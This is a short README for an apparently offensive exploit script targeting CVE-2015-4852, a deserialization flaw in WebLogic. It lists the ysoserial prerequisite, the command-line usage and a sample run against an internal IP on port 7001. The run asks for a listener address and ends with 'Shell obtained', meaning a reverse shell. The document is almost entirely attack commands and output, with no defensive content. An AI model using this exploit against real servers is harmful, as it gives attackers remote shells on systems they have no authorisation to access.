CVE-2015-4852

Prerequisite: Place ysoserial.jar in the script directory (rename ysoserial-0*.jar to ysoserial.jar). It is best to run this script on Kali Linux.

1. Usage:

root@kali:~# python3 CVE-2015-4852.py -h

Usage: python CVE-2015-4852.py -t/--target 1.1.1.1 7001

Options:

-h, --help show this help message and exit

-t TARGET, --target=TARGET ip port

2. Example:

root@kali:~# python3 CVE-2015-4852.py -t 10.6.214.129 7001

Enter listener IP address: 10.6.214.1

Enter listener port: 7777

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Execution successful

Shell obtained